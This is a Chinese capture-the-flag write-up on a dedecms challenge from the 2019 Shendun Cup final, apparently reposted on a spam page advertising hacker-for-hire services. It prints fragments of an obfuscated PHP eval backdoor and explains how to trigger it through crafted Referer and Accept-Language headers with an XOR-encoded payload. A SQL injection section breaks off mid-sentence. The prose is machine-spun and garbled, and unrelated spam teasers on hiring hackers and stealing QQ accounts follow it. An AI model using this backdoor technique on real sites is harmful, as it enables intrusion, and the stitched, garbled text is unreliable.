2019 神盾杯 final Writeup(一)-黑客接单平台

访客5年前黑客工具1314
队友去参加了2019神盾杯上海市 *** 安全比赛,线下有4道web题,就跟队友要来了源码进行了一波剖析,因为标题较多,分为2篇编撰,本篇先写dedecms和另一个命题人手写的cms。 web1 预置简略后门查杀 翻开源码发现是dedecms,运用干流webshell查杀东西得到如下成果: 因为静态剖析具有较高的误报率,所以我先挑选了diff一下: 发现后门文件为include/guess.class.php,事实证明仍是D盾nb~ 内置混杂后门 咱们先去检查文件:include/guess.class.php。 发现显着后门: W$d")W;@sessionW_destrWoy();}}}}'; $Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W'; $t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW'; $X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A); $w=$k('',$X);$w(); ?> 定位到最终一句: $w=$k('',$X);$w(); 发现$k为create_function,那么$X的值就至关重要,咱们能够得到其值为: $d"); @session_destroy(); } } } } 看到恶意代码方位: if($e){ $k='3aae0208'; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("$d"); @session_destroy(); } 要害参数为$e和$s,咱们盯梢这两个值,发现e为$s[$i]中$f的方位: $e=strpos($s[$i],$f); 而$s[$i]与$p有关,咱们持续跟进$p,$s,$i的赋值: for($z=1;$z 简略发现$p的值与$m有关。而$i与$m也与$m有关: $s=&$_SESSION; $i=$m[1][0].$m[1][1]; 那么$m与HTTP_ACCEPT_LANGUAGE和如下正则有关: $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; .... preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/",$ra,$m); 简略测验: 发现m[2]的值由q=0.几操控,而m[1]与每组首写字母有关。 回到如下拼接: for($z=1;$z 剩余只需操控$q的值即可: $rr=@$r["HTTP_REFERER"]; $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); 咱们注意到$q与HTTP_REFERER的参数有关,咱们测验一下: 那么咱们能够经过操控数组p的值,和数组$m的值,来操控$p的值,例如: // $rr=@$r["HTTP_REFERER"]; $rr = "https://skysec.top/?exp=skycool"; // $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; $ra = "zh-CN,zh;q=0.0,en;q=0.1"; 那么此刻p的值为skycool。 紧接着是过滤: if(strpos($p,$h)===0){ $s[$i]=""; $p=substr($p,3); } 那么咱们盯梢$h,发现为salt: $i=$m[1][0].$m[1][1]; $h=strtolower(substr(md5($i.$kh),0,3)); 所以咱们很简略猜测$h的值,只需要在咱们的exp前拼接上$h的值即可。 那么现在只剩最终的exp,回到最开端的中心代码: $s[$i].=$p; $e=strpos($s[$i],$f); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); 那么能够经过$p操控`$s[$i]`的值,一起为了彻底截取,咱们能够相似如下结构exp: $exp = $h.$payload.$f; 这样即可彻底截取到咱们的$payload。 然后是加密函数x: function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i 简略发现这是xor加密,能够用来加密也可用来解密,直接用即可。 那么编写exp如下: 能够成功履行。 sql注入 经过diff能够发现代码注释了一段内容: 但这实践没有效果,是用来去除Power by dedecms的。可是另一处修正直接导致了sql注入[1][2]黑客接单网

相关文章

黑客游戏,看门狗2黑客空间怎么找,谁找黑客能改过成绩

经过以上装备网卡后,你能够手动运转ifup指令来启用该网卡,该指令会经过dhclient来初始化DHCP进程。 >_ Permission deniedNOTICE: CREATE TA...

手机黑客软件_能在淘宝找黑客办事吗6-想找黑客怎么找

「手机黑客软件_能在淘宝找黑客办事吗6-想找黑客怎么找」假如长途获取 RMI 服务上的目标为 Reference 类或许其子类,则在客户端获取到长途目标存根实例时,可以从其他服务器上加载 class...

老爸一个月两千,老妈一个月八千,老爸每个月就拿

如果没问题,就使用gdb attach主进程(root权限的那个进程),然后断点下在make_child,然后执行apache2ctl graceful,执行完然后在gdb的流程跳到make_chil...

盗QQ黑客接单网_找黑客的渠道

4、12345678 (↓ 1)从上述要挟来历命名中,咱们以为清晰的APT安排数量有53个。 V3版别有盗QQ黑客接单网,找黑客的渠道 经过C2获取指令履行:隐私走漏盗QQ黑客接单网,找黑客的渠道,{...

什么是黑客_打鱼机黑客怎么联系-黑客接单平台

然后拿了一些信息,比方数据库暗码:Comparer(比照)——通常是经过一些相关的恳求和呼应得到两项数据的一个可视化的“差异”。 9、用发掘机什么是BurpSuite该渠道供给webshell列表、W...

免费黑客接单网_找黑客生死号-黑客怎样找漏洞呢

4.user.phpHost: localhost:6379主要有下面一些标题尽管这种进犯已呈现多年,但现在在大的门户网站还普遍存在,并且由于安全意识单薄,许多企业并未意识到这一问题的重要性。...